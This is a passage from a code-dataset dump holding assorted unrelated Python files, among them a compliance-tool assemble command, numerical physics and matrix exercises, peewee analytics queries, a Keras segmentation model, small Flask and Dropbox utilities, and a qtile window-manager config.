args: argparse.Namespace) -> int:\n return AssembleCmd.assemble_model(self.name, assessment_plan.AssessmentPlan, args)\n\n\nclass AssessmentResultCmd(Command):\n \"\"\"Assemble a assessment result.\"\"\"\n\n name = 'assessment-results'\n\n def _run(self, args: argparse.Namespace) -> int:\n return AssembleCmd.assemble_model(self.name, assessment_results.AssessmentResults, args)\n\n\nclass PlanOfActionAndMilestonesCmd(Command):\n \"\"\"Assemble a plan of action and milestones.\"\"\"\n\n name = 'plan-of-action-and-milestones'\n\n def _run(self, args: argparse.Namespace) -> int:\n return AssembleCmd.assemble_model(self.name, poam.PlanOfActionAndMilestones, args)\n\n\nclass AssembleCmd(Command):\n \"\"\"Assemble all subcomponents from a specified trestle model into a single JSON/YAML file under dist.\"\"\"\n\n name = 'assemble'\n\n subcommands = [\n CatalogCmd,\n ProfileCmd,\n TargetDefinitionCmd,\n ComponentDefinitionCmd,\n SystemSecurityPlanCmd,\n AssessmentPlanCmd,\n AssessmentResultCmd,\n PlanOfActionAndMilestonesCmd\n ]\n\n def _init_arguments(self) -> None:\n self.add_argument('-n', '--name', help='Name of the model to assemble.', required=True)\n self.add_argument(\n '-x', '--extension', help='Type of file output.', choices=['json', 'yaml', 'yml'], default='json'\n )\n\n @classmethod\n def assemble_model(cls, model_alias: str, object_type: Type[TLO], args: argparse.Namespace) -> int:\n \"\"\"Assemble a top level OSCAL model within the trestle dist directory.\"\"\"\n log.set_log_level_from_args(args)\n trestle_root = fs.get_trestle_project_root(Path.cwd())\n if not trestle_root:\n logger.error(f'Current working directory {Path.cwd()} is not with a trestle project.')\n return 1\n if not trestle_root == Path.cwd():\n logger.error(f'Current working directory {Path.cwd()} is not the top level trestle project directory.')\n return 1\n\n # contruct path to the model file name\n root_model_dir = Path.cwd() / f'{model_alias}s'\n try:\n model_file_type = fs.get_contextual_file_type(root_model_dir / args.name)\n except Exception as e:\n logger.error('No files found in the specified model directory.')\n logger.debug(e)\n return 1\n\n model_file_name = f'{model_alias}{FileContentType.to_file_extension(model_file_type)}'\n root_model_filepath = root_model_dir / args.name / model_file_name\n\n if not root_model_filepath.exists():\n logger.error(f'No top level model file at {root_model_dir}')\n return 1\n\n # distributed load\n _, _, assembled_model = load_distributed(root_model_filepath)\n assembled_model_filepath = trestle_root / const.TRESTLE_DIST_DIR / f'{model_alias}.{args.extension}'\n\n plan = Plan()\n plan.add_action(CreatePathAction(assembled_model_filepath, True))\n plan.add_action(\n WriteFileAction(\n assembled_model_filepath,\n Element(assembled_model),\n FileContentType.to_content_type(f'.{args.extension}')\n )\n )\n\n try:\n plan.simulate()\n plan.execute()\n return 0\n except Exception as e:\n logger.error('Unknown error executing trestle create operations. Rolling back.')\n logger.debug(e)\n return 1\n","sub_path":"trestle/core/commands/assemble.py","file_name":"assemble.py","file_ext":"py","file_size_in_byte":6736,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"171816112","text":"def TOH(n, a, b, c):\r\n if n == 1:\r\n print('move 1st disk from ', a, \"to \", c)\r\n return\r\n TOH(n - 1, a, c, b)\r\n print('move ', n, 'th disk from ', a, ' to', c)\r\n TOH(n - 1, b, a, c)\r\n\r\n\r\nn = int(input())\r\nTOH(n, 'a', 'b', 'c')\r\n","sub_path":"2. Recursion2/6. tower of hanoi.py","file_name":"6. tower of hanoi.py","file_ext":"py","file_size_in_byte":253,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"638814293","text":"from pylab import *\nimport mpl_toolkits.mplot3d.axes3d as p3\n\n\nNx = 25 \nNy = 25 \nradius = 0.35\nNiter = 1500 \nerrors = np.zeros(Niter)\n\n\nx = np.linspace(-0.5,0.5,25) \ny = np.linspace(0.5,-0.5,25) \nX,Y = meshgrid(x,y) \nphi = np.zeros((Nx,Ny)) \nii = where(X*X + Y*Y <= radius*radius) \nphi[ii] = 1.0 \n\ncontour(X,Y,phi)\nplot(x[ii[0]],y[ii[1]],'ro')\ngrid()\ntitle('Contour plot of initial potential')\nxlabel('x')\nylabel('y')\nshow()\n\nnewphi = np.zeros((Nx,Ny)) \nfor k in range(Niter):\n oldphi = phi.copy() \n newphi[1:-1,1:-1] = 0.25*(phi[1:-1,0:-2] + phi[1:-1,2:] + phi[0:-2,1:-1] + phi[2:,1:-1]) \n \n newphi[1:-1,0] = newphi[1:-1,1] \n newphi[1:-1,Nx-1] = newphi[1:-1,Nx-2]\n newphi[0,1:-1] = newphi[1,1:-1]\n newphi[ii] = 1.0\n \n errors[k] = max(np.absolute(np.subtract(oldphi.flatten(),newphi.flatten()))) \n phi = newphi.copy() \n\n\n\nxError = np.linspace(1,Niter,1500) \nyError = np.log(errors) \nA=np.zeros((Niter,2)) \nA[:,0] = 1\nA[:,1] = xError\nconst = lstsq(A,yError)[0] \nyError = const[0] + const[1]*xError \nyError = np.exp(yError)\n\nsemilogy(xError,errors)\nshow()\n\nloglog(np.arange(1,1501,50),errors[0::50],'ro')\nloglog(xError,errors)\nshow()\n\nxError2 = np.linspace(501,Niter,1000)\nyError2 = np.log(errors[500:])\nB=np.zeros((Niter-500,2))\nB[:,0] = 1\nB[:,1] = xError2\nconst = lstsq(B,yError2)[0]\nyError2 = const[0] + const[1]*xError2\nyError2 = np.exp(yError2)\n\n\nsemilogy(np.arange(1,1501,50),errors[0::50],'ro')\nplot(xError,yError)\nplot(xError2, yError2)\ngrid()\ntitle('Error plot')\nxlabel('No. of iterations')\nylabel('Error')\nlegend(('Calculated Error','Fit 1 (all iterations)','Fit 2 (>500 iterations)'))\nshow()\n\n\n\n\nfig1 = figure(4)\nax = p3.Axes3D(fig1)\ntitle('The 3-D surface plot of the potential')\nax.set_xlabel('x')\nax.set_ylabel('y')\nax.set_zlabel('Potential $(\\phi)$')\nsurf = ax.plot_surface(X, Y, phi, rstride=1, cstride=1, cmap=cm.jet,linewidth=0, antialiased=False)\nshow()\n\n\ncontour(x,y,phi)\nplot(x[ii[0]],y[ii[1]],'ro')\nxlabel('x')\nylabel('y')\ntitle('Contour plot of final potential')\ngrid()\nshow()\n\n\n\nJx = np.zeros((Nx,Ny))\nJy = np.zeros((Nx,Ny))\n\nJy[1:-1,1:-1] = 0.5*(phi[1:-1,2:] - phi[1:-1,0:-2])\nJx[1:-1,1:-1] = 0.5*(phi[2:,1:-1] - phi[0:-2,1:-1])\n\n\n\n\nplot(x[ii[0]],y[ii[1]],'ro')\nxlabel('x')\nylabel('y')\ntitle('Vector plot of the current flow')\nquiver(y,x,Jy[::-1,:],Jx[::-1,:])\ncontour(x,y,phi)\nshow()\n\n","sub_path":"Assign_5/submission.py","file_name":"submission.py","file_ext":"py","file_size_in_byte":2447,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"518588118","text":"\n\nfrom xai.brain.wordbase.adjectives._fast import _FAST\n\n#calss header\nclass _FASTED(_FAST, ):\n\tdef __init__(self,): \n\t\t_FAST.__init__(self)\n\t\tself.name = \"FASTED\"\n\t\tself.specie = 'adjectives'\n\t\tself.basic = \"fast\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/adjectives/_fasted.py","file_name":"_fasted.py","file_ext":"py","file_size_in_byte":236,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"486401492","text":"# -*- coding: utf-8 -*-\n\nimport datetime\nfrom collections import OrderedDict\n\nimport peewee\n\nfrom ..pageview.models import PageView, UserAgent\nfrom ..db import database\n\n\nclass AnalyticsQuery(object):\n\n @staticmethod\n def all_views():\n return PageView.select()\n\n @staticmethod\n def views_in_interval(beginning, end):\n assert isinstance(beginning, datetime.datetime)\n assert isinstance(end, datetime.datetime)\n return PageView.select().where(end >= PageView.timestamp >= beginning)\n\n @classmethod\n def grouped_by(cls, group_by_duration, views):\n groups = {\n 'month': cls.monthly_views,\n 'week': cls.weekly_views,\n 'day': cls.daily_views\n }\n assert (group_by_duration in groups.keys())\n return groups[group_by_duration](views)\n\n @staticmethod\n def views_count(views):\n return views.count()\n\n @staticmethod\n def daily_views(views):\n query = (\n views.select(PageView.timestamp, peewee.fn.Count(PageView.id))\n .group_by(database.truncate_date('day', PageView.timestamp))\n .order_by(PageView.timestamp.year, PageView.timestamp.month,\n PageView.timestamp.day)\n .tuples())\n return OrderedDict([(obj.date().strftime('%Y-%m-%d'), count) for (obj,count) in query])\n\n @staticmethod\n def monthly_views(views):\n query = (\n views.select(PageView.timestamp, peewee.fn.Count(PageView.id))\n .group_by(database.truncate_date('month', PageView.timestamp))\n .order_by(PageView.timestamp.year, PageView.timestamp.month)\n .tuples())\n return OrderedDict([(obj.date().strftime('%B-%Y'), count) for (obj,count) in query])\n\n @staticmethod\n def weekly_views(views):\n query = (\n views.select(PageView.timestamp, peewee.fn.Count(PageView.id))\n .group_by(PageView.timestamp.year,\n peewee.fn.strftime('%W', PageView.timestamp))\n .order_by(PageView.timestamp.year, PageView.timestamp.month)\n .tuples())\n return OrderedDict([(obj.date().strftime('%Y-%m-%d'), count) for (obj,count) in query])\n\n @staticmethod\n def total_ips(views):\n return views.select(PageView.ip).group_by(PageView.ip).count()\n\n @staticmethod\n def top_n_pages(views, n):\n query = (views.select(PageView.url, peewee.fn.Count(PageView.id))\n .group_by(PageView.url)\n .order_by(peewee.fn.Count(PageView.id).desc())\n .tuples())[:n]\n return [{'url': url, 'hits': hits} for (url, hits) in query]\n\n @staticmethod\n def top_n_countries(views, n):\n query = (views.select(PageView.country, peewee.fn.Count(PageView.id))\n .where(PageView.country!=None)\n .group_by(PageView.country)\n .order_by(peewee.fn.Count(PageView.id).desc())\n .tuples())[:n]\n return [{'country': country, 'hits': hits} for (country, hits) in query]\n\n @staticmethod\n def top_n_browsers(views, n):\n query = (views.select(UserAgent.browser, peewee.fn.Count(PageView.id))\n .where(UserAgent.browser!=None)\n .join(UserAgent, peewee.JOIN.LEFT_OUTER)\n .group_by(UserAgent.browser)\n .order_by(peewee.fn.Count(PageView.id).desc())\n .tuples())[:n]\n return [{'browser': browser, 'hits': hits} for (browser, hits) in query]\n\n @staticmethod\n def top_n_os(views, n):\n query = (views.select(UserAgent.os, peewee.fn.Count(PageView.id))\n .where(UserAgent.os!=None)\n .join(UserAgent, peewee.JOIN.LEFT_OUTER)\n .group_by(UserAgent.os)\n .order_by(peewee.fn.Count(PageView.id).desc())\n .tuples())[:n]\n return [{'os': os, 'hits': hits} for (os, hits) in query]\n\n @staticmethod\n def all_pages(views):\n query = (views.select(PageView.url, peewee.fn.Count(PageView.id))\n .group_by(PageView.url)\n .order_by(peewee.fn.Count(PageView.id).desc())\n .tuples())\n return [{'url': url, 'hits': hits} for (url, hits) in query]\n\n @staticmethod\n def all_countries(views):\n query = (views.select(PageView.country, peewee.fn.Count(PageView.id))\n .where(PageView.country!=None)\n .group_by(PageView.country)\n .order_by(peewee.fn.Count(PageView.id).desc())\n .tuples())\n return [{'country': country, 'hits': hits} for (country, hits) in query]\n","sub_path":"webby/dashboard/queries.py","file_name":"queries.py","file_ext":"py","file_size_in_byte":4694,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"520921050","text":"from collections import deque\nimport time\nfrom datetime import datetime\n\nprint(\"\\n1er exemple simple d'utilisation d'une deque pour gérer une queue circulaire\\n\")\n\ncircQueue = deque(maxlen=4)\ns = ''\n\nwhile True:\n if s.upper() == 'Q':\n break\n currTime = datetime.utcnow().strftime('%H:%M:%S')\n circQueue.append(currTime)\n print(circQueue) \n s = input('q to quit: ')\n\nprint(\"\\n2ème exemple: la deque contient des entiers dont on calcule la moyenne mobile\\n\")\n\ncircQueue = deque(maxlen=4)\ns = ''\ni = 0\n\nwhile True:\n if s.upper() == 'Q':\n break\n circQueue.append(i)\n i += 1\n print(circQueue, end=' ')\n print('sum:' , end=' ')\n print(sum(circQueue), end=' ')\n print('moving avg:' , end=' ')\n print(sum(circQueue) / 4)\n s = input('q to quit: ')\n\nprint(\"\\n3ème exemple plus proche des besoin de C2. Ici, on ajoute à la deque des paires\")\nprint(\"de valeurs (volume et prix) que l'on place en couple dans une liste. On calcule\")\nprint(\"la moyenne mobile du prix pondéré par le volume\\n\")\n\ncircQueue = deque(maxlen=4)\ns = ''\nvolume = 1\nprice = 100\n\nwhile True:\n if s.upper() == 'Q':\n break\n circQueue.append([volume, price])\n volume += 1\n price += 10\n \n print(circQueue, end=' ')\n \n movingVolume = sum(x[0] for x in circQueue)\n print('mVol:' , end=' ')\n print(movingVolume, end=' ')\n \n movingTotal = sum(x[0] * x[1] for x in circQueue)\n print('mPrVolTot:' , end=' ')\n print(movingTotal, end=' ')\n\n movingAvg = movingTotal / movingVolume\n print('mPrAvg:' , end=' ')\n print('{:3.2f}'.format(movingAvg))\n\n s = input('q to quit: ')","sub_path":"circular_queue_deque.py","file_name":"circular_queue_deque.py","file_ext":"py","file_size_in_byte":1640,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"294124154","text":"# %matplotlib inline\nimport numpy as np #для работы с массивами - их по умолчанию в Python нет\nimport scipy\nfrom scipy import linalg\n#1\na = np.array([[1, 2, 3], [4, 5, 6], [7, 8, 9], [0, -1, 12]], float) #создание матрицы\nprint(a.shape) #размерность матрицы\nb = np.array([[1, 2, 3]], float) #создание вектора\n\nb = a * 2 #умножение на число - умножается каждый элемент\nprint(b)\n\nc = a + 1 #добавление числа - добавляется к каждоме элементу\nprint(c)\nd = c + b #сложение матриц - складываеются матрица при каждом ее члене\nd = np.add(b, c)\t\t\t #тоже самое через функцию в NP\n\nd = b - c \t\t\t #вычитание матриц - вычитание матрица при каждом ее члене\nd = np.subtract(b, c) #тоже самое через функцию в NP\nprint(d)\n\nf = d.transpose() #транспонирование\nd.T\nprint(f)\n\ng = np.dot(f, d) #умножение матриц\nprint(g)\n\ne = np.identity(3) #создание единичной матрицы порядка 3\nprint(e)\n\np = np.linalg.inv(g) #создание обратной матиццы\nprint(p)\n\naa = np.array([[1, 2, 3], [4, 5, 6], [7, 8, 9]])\nnp.linalg.det(aa) #определитель\nnp.linalg.matrix_rank(b, 0.0001) #ранк матрицы\n\n#2 СЛАУ\nprint('##########')\nA = np.array([[3, 2], [3, -4]])\nB = np.array([4, 1])\nnp.linalg.solve(A, B) # решение СЛАУ\n\nP, L, U = linalg.lu(A) # LU разложение СЛА\nprint(P, L, U)\n\nA = np.array([[1, 2, -1], [3, -4, 0], [8,-5, 2], [2,0, -5], [11, 4, -7]])\nB = np.array([1, 7, 12, 7, 15])\nX, q, rank, p = np.linalg.lstsq(A, B) # решение по метода наименьшиъ квадраов\n\n#!!! Не проверенно\nL = scipy.linalg.choletsky(A) #разложение Хлецкого - для симметричных матриц\nQ, R = np.linalg.qr(A) #QR разложение\nnp.concatenate(A, B) # склеивание матриц\n","sub_path":"operation_08_matrix.py","file_name":"operation_08_matrix.py","file_ext":"py","file_size_in_byte":2743,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"528917027","text":"#-----------------------------------------\n# import\n#-----------------------------------------\nimport os\nimport sys\nfrom keras.layers import Input, Conv2D, Conv2DTranspose, Add, Activation, MaxPooling2D, Dropout, UpSampling2D\nfrom keras.models import Model\nfrom keras.initializers import Constant\nfrom keras.regularizers import l2\nfrom .layers import BilinearUpSampling2D, bilinear_upsample_weights\nfrom .encorders import build_vgg16\n\n\n#-----------------------------------------\n# defines\n#-----------------------------------------\nCUR_PATH = os.path.join(os.path.dirname(__file__))\n\n#-----------------------------------------\n# functions\n#-----------------------------------------\n\n\ndef build(classes=21, input_shape=(224, 224, 3), weights_path=None, weight_decay=0., drop_rate=None, bilinear=False):\n\n # Build Base Encorder\n encorder = build_vgg16(input_shape, weights_path,\n weight_decay, drop_rate)\n\n encorder_input = encorder.inputs[0]\n # for skip connection\n p4 = encorder.get_layer(name='block4_pool').output\n p7 = encorder.outputs[0]\n\n '''\n Skip Connection\n '''\n # dimention reduction\n p4 = Conv2D(classes, 1, activation='relu', name='conv_p4',\n kernel_regularizer=l2(weight_decay),\n kernel_initializer='he_normal')(p4)\n p7 = Conv2D(classes, 1, activation='relu', name='conv_p7',\n kernel_regularizer=l2(weight_decay),\n kernel_initializer='he_normal')(p7)\n\n # upsampling x2\n u4 = Conv2DTranspose(classes, 4, activation='relu',\n strides=2, padding='same', name='upscore_p4',\n kernel_regularizer=l2(weight_decay),\n #kernel_initializer=Constant(bilinear_upsample_weights(2, classes)),\n kernel_initializer='he_normal')(p4)\n\n # upsampling x4\n u7 = Conv2DTranspose(classes, 8, activation='relu',\n strides=4, padding='same', name='upscore_p7',\n kernel_regularizer=l2(weight_decay),\n #kernel_initializer=Constant(bilinear_upsample_weights(4, classes)),\n kernel_initializer='he_normal')(p7)\n\n # fuse skip layers\n x = Add(name='add')([u4, u7])\n\n # upsampling x8\n if bilinear:\n x = BilinearUpSampling2D((8, 8))(x)\n else:\n x = Conv2DTranspose(classes, 16, activation='relu',\n strides=8, padding='same', name='upscore_final',\n kernel_regularizer=l2(weight_decay),\n #kernel_initializer=Constant(bilinear_upsample_weights(8, classes)),\n kernel_initializer='he_normal')(x)\n\n x = Activation('softmax', name='softmax')(x)\n\n model = Model(encorder_input, x)\n\n return model\n","sub_path":"models/vgg_fcn16s.py","file_name":"vgg_fcn16s.py","file_ext":"py","file_size_in_byte":2833,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"405252921","text":"from flask import Flask, render_template, request\n\napp = Flask(__name__)\n\n\n@app.route('/')\ndef index():\n return render_template('index.html')\n\n\n@app.route('/report')\ndef report():\n minuscula = False\n mayuscula = False\n numero = False\n first = request.args.get('first')\n\n minuscula = any(c.islower() for c in first) # alguna min\n mayuscula = any(c.isupper() for c in first) # alguna mayusc\n numero = first[-1].isdigit() # numero al final\n\n report = minuscula and mayuscula and numero\n\n return render_template('report.html', report=report, min=minuscula, may=mayuscula, num=numero)\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n","sub_path":"flask_exercise/basic.py","file_name":"basic.py","file_ext":"py","file_size_in_byte":666,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"375986390","text":"if __name__ == '__main__':\n import pandas as pd\n import os\n from datetime import datetime\n\n from settings import Settings\n from dropbox_sync_uploader import Uploader\n\n settings = Settings(settings_file=os.path.join(os.path.dirname(__file__), 'settings.yml'))\n timestamp = datetime.now().strftime(settings.dropbox_sync.timestamp_format)\n logfile = settings.dropbox_sync.log.file_path\n \n uploader = Uploader(settings)\n\n try:\n df = pd.read_csv(logfile)\n for _, row in df.iterrows():\n remote_file_path = '/backups/{}{}'.format(timestamp, row['filepath'])\n if row['event'] != 'DELETED':\n uploader.upload(row['filepath'], remote_file_path)\n else:\n uploader.delete(remote_file_path)\n except Exception:\n pass\n","sub_path":"dropbox_sync_sender.py","file_name":"dropbox_sync_sender.py","file_ext":"py","file_size_in_byte":821,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"293669622","text":"import arcpy, os, sys\n\narcpy.env.workspace, inWorkspace = arcpy.GetParameterAsText(0)\noutWorkspace = arcpy.GetParameterAsText(1)\n\n# set paths to ones specified by user\nrootPath=inWorkspace\noutPath = outWorkspace\n# folders under root\ndataPath = rootPath + \"\\\\Data\"\npopPath = rootPath + \"\\\\Pop_data_districts\"\n#output path\noutput = \"\\\\output\"\n\n# define lstfiles\nlstfiles = arcpy.ListFiles(\"*.xls\")\nsheet = \"Tab Wbl \"\n\nfor xlsfile in lstfiles:\n\tfor num in range(1,24):\n\t\ttmp = \"\"\n\t\tif num < 10:\n\t\t\ttmp += \"0\" + str(num)\n\t\telse: \n\t\t\ttmp += str(num)\n\t\ttry:\n\t\t\tarcpy.TableToTable_conversion(xlsfile + \"\\\\\" + sheet + tmp + \"$\", outPath, \"test\" + tmp + \".dbf\")\n\t\texcept RuntimeError as i:\n\t\t\tcontinue\n\n# lets merge them all together!\narcpy.env.workspace += output\ntableList = arcpy.ListTables()\narcpy.Merge_management(tableList, \"all.dbf\")\narcpy.AddMessage(\"success\")\n","sub_path":"tools/merge.py","file_name":"merge.py","file_ext":"py","file_size_in_byte":863,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"531277231","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\nsin1 = np.zeros((50,100))\nsin2 = np.zeros((50,100))\nsin3 = np.zeros((50,100))\nsin4 = np.zeros((50,100))\n\nfor i in range(50):\n for j in range(100):\n \n sin1[i,j] = np.cos((i - 25.)*np.pi/50.) * np.cos((j - 12.5)*np.pi/25.)\n sin2[i,j] = np.cos((i - 25.)*np.pi/50.) * np.cos((j - (12.5 + 25.))*np.pi/25.)\n sin3[i,j] = np.cos((i - 25.)*np.pi/50.) * np.cos((j - (12.5 + 50.))*np.pi/25.)\n sin4[i,j] = np.cos((i - 25.)*np.pi/50.) * np.cos((j - (12.5 + 75.))*np.pi/25.)\n\nsin1[:,25:100] = 0. \nsin2[:,:25] = 0.\nsin2[:,50:] = 0.\nsin3[:,:50] = 0. \nsin3[:,75:] = 0. \nsin4[:,:75] = 0. \n\nmask1 = np.zeros((50,100))\nmask2 = np.zeros((50,100))\nmask3 = np.zeros((50,100))\nmask4 = np.zeros((50,100))\nfor i in range(50):\n for j in range(100):\n \n if sin1[i,j] != 0:\n mask1[i,j] = 1.\n if sin2[i,j] != 0.:\n mask2[i,j] = 1.\n if sin3[i,j] != 0.:\n mask3[i,j] = 1.\n if sin4[i,j] != 0.:\n mask4[i,j] = 1.\n\nlayer_map = np.array([sin1,sin2,sin3,sin4])\n\n\n#Formula to modify to change curve\ncomparison = np.ones((50,100))\nindex_matrix = np.zeros((50,100,2))\n\nfor i in range(50):\n for j in range(100):\n index_matrix[i,j,0] = i\n index_matrix[i,j,1] = j\n\na0_init, a1_init, a2_init, a3_init = 1.0, 1.0, 1.0, 1.0\ndef Correction(theta):\n\n global diff_1, diff_1, diff_3, diff_4\n global model, correction_model\n a0, a1, a2, a3 = theta\n correction1 = np.zeros((50,100))\n correction2 = np.zeros((50,100))\n correction3 = np.zeros((50,100))\n correction4 = np.zeros((50,100))\n for i in range(50):\n for j in range(100):\n # Corrections not based on map-generating formula\n #\n\n correction1_p1[i,j] = np.cos((i - 25.)*np.pi/50.)\n correction_p2[i,j] = (1 - ((j - (12.5 + 50))*(np.pi/25.))**2/2 + ((j - (12.5 + 50.)*np.pi/25.)**4./24. - ((j - (12.5 + 50.))*np.pi/25.)**6./720.))\n \n\n correction1[i,j] = 1./(np.cos((i - 25.)*np.pi/50.) * (1 - ((j - 12.5)*(np.pi/25.))**2/2.))\n correction2[i,j] = 1./(np.cos((i - 25.)*np.pi/50.) * (1 - ((j - (12.5 + 25.))*(np.pi*a1/25.)**2/2.)))\n correction3[i,j] = 1./(np.cos((i - 25.)*np.pi/50.) * (1 - ((j - (12.5 + 50.))*(np.pi*a2/25.)**2/2.)))\n correction4[i,j] = 1./(np.cos((i - 25.)*np.pi/50.) * (1 - ((j - (12.5 + 75.))*(np.pi*a3/25.)**2/2.)))\n\n correction_model = np.array([correction1, correction2, correction3, correction4])\n model = np.maximum((layer_map * correction_model)[0], (layer_map * correction_model)[1])\n \n Image1 = mask1 * model\n Image2 = mask2 * model\n Image3 = mask3 * model\n Image4 = mask4 * model\n \n # Returns the sum of the first and second models, which is sin1, sin2 getting multiplied by the respective correction for each\n # Why am I returning the sum of the absolute difference of the model and the comparison. The comparison is a matrix of ones. But It would need to be a two layered martix, not just one.\n return np.sum((np.abs(Image1 - sin1) + np.abs(Image2 - sin2) + np.abs(Image3 - sin3) + np.abs(Image4 - sin4))**2)\n diff_1, diff_2, diff_3, diff_4 = np.abs(Image1 - sin1), np.abs(Image2 - sin2), np.abs(Image3 - sin3), np.abs(Image4 - sin4)\n \n #return np.sum(np.abs(model - comparison))\n\nimport scipy.optimize as op\nresult = op.minimize(Correction, [a0_init, a1_init, a2_init, a3_init], options = {'maxiter' : 1000}, args=(), method='COBYLA')\nprint(result)\n\nImage1 = mask1 * model\nImage2 = mask2 * model\nImage3 = mask3 * model\nImage4 = mask4 * model\n\ndiff_1, diff_2, diff_3, diff_4 = np.sum(np.abs(Image1 - sin1)), np.sum(np.abs(Image2 - sin2)), np.sum(np.abs(Image3 - sin3)), np.sum(np.abs(Image4 - sin4))\n\n \na0, a1, a2, a3 = result[\"x\"][0], result[\"x\"][1], result[\"x\"][2], result[\"x\"][3]\n\nlevels = []\nfor i in range(100):\n levels.append(0.03*i)\n\nx = list(range(100))\ny = list(range(50))\n\ncorrection1 = 1./(np.cos((index_matrix[:,:,0] - 25.)*np.pi/50.) * (1 - ((index_matrix[:,:,1] - 12.5)/(2*np.pi*a0/100))**2/2.))\ncorrection2 = 1./(np.cos((index_matrix[:,:,0] - 25.)*np.pi/50.) * (1 - ((index_matrix[:,:,1] - (12.5 + 25.))/(2*np.pi*a1/100))**2/2.))\ncorrection3 = 1./(np.cos((index_matrix[:,:,0] - 25.)*np.pi/50.) * (1 - ((index_matrix[:,:,1] - (12.5 + 50.))/(2*np.pi*a2/100))**2/2.))\ncorrection4 = 1./(np.cos((index_matrix[:,:,0] - 25.)*np.pi/50.) * (1 - ((index_matrix[:,:,1] - (12.5 + 75.))/(2*np.pi*a3/100))**2/2.))\n\ncorrection_model = np.array([correction1, correction2, correction3, correction4])\n\nplt.ion()\nplt.figure()\ncp = plt.contourf(x, y, Image1, cmap='hot', levels=levels)\nplt.show()\n\nImage1 = mask1 * model\nImage2 = mask2 * model\nImage3 = mask3 * model\nImage4 = mask4 * model\n\n#correction_model = np.array([correction1, correction2, correction3, correction4])\n#model = np.max(layer_model * correction_model, axis=0)\n\n\n\n\n\"\"\"\nimport difflib\n\nlines1 = []\nlines2 = []\n\nwith open('6:29.py', 'r') as f:\n\tfor line in f:\n\t\tlines1.append(line)\n\nwith open('6:24.py', 'r') as f:\n\tfor line in f:\n\t\tlines2.append(line)\n\nd = difflib.Differ()\ndiff = d.compare(lines1, lines2)\nprint '\\n'.join(diff)\n\n\nc0, c1, c2, c3 = theta\ncorrection = np.array(c0 - c1*(1 - mu_master) - c2*(1 - mu_master**2) - c3*(1 - mu_master**3))\n\nmodel = map_brightest * correction\nLight_Curve_Images = np.zeros((5,360,7100))\nLight_Curve_Values = np.zeros((5))\nfor i in range(5):\n\n Light_Curve_Images[i] = model * mu_mask_master[i]/(c0 - c1*(1 - mu_mask_master[i]) - c2*(1 - mu_mask_master[i]**2) - c3*(1 - mu_mask_master[i]**3))\n Light_Curve_Images[i] *= Cylindrical_to_Spherical_Conversion_list[i]\n Light_Curve_Values[i] = np.sum(Light_Curve_Images[i])\n\n\nMap_Totals = np.sum(np.sum(Map_Master_Spherical, axis=2), axis=1)\nMap_Totals *= np.sum(Light_Curve_Values)/np.sum(Map_Totals)\nLight_Curve_Diff = (Light_Curve_Values - Map_Totals)/np.sum(Light_Curve_Values)\nChi_Value = np.sum(Light_Curve_Diff**2)\"\"\"","sub_path":"7:7/7:10_3.py","file_name":"7:10_3.py","file_ext":"py","file_size_in_byte":5983,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"247778738","text":"# Copyright (c) 2010 Aldo Cortesi\n# Copyright (c) 2010, 2014 dequis\n# Copyright (c) 2012 Randall Ma\n# Copyright (c) 2012-2014 Tycho Andersen\n# Copyright (c) 2012 Craig Barnes\n# Copyright (c) 2013 horsik\n# Copyright (c) 2013 Tao Sauvage\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n# SOFTWARE.\n\nfrom typing import List # noqa: F401\n\nfrom libqtile import bar, layout, widget, hook\nfrom libqtile.config import Click, Drag, Group, Key, Match, Screen\nfrom libqtile.lazy import lazy\nfrom libqtile.utils import guess_terminal\nimport os \nimport subprocess\n\ndef go_to_group(group):\n def f(qtile):\n if group in '12345':\n qtile.cmd_to_screen(0)\n qtile.groupMap[group].cmd_toscreen()\n else:\n qtile.cmd_to_screen(1)\n qtile.groupMap[group].cmd_toscreen()\n return f\n\n\nmod = \"mod4\"\nterminal = guess_terminal()\n\nkeys = [\n # Switch between windows\n Key([mod], \"h\", lazy.layout.left(), desc=\"Move focus to left\"),\n Key([mod], \"l\", lazy.layout.right(), desc=\"Move focus to right\"),\n Key([mod], \"j\", lazy.layout.down(), desc=\"Move focus down\"),\n Key([mod], \"k\", lazy.layout.up(), desc=\"Move focus up\"),\n Key([mod], \"space\", lazy.next_screen(), desc=\"Switch monitor keeb focus\"),\n\n # Move windows 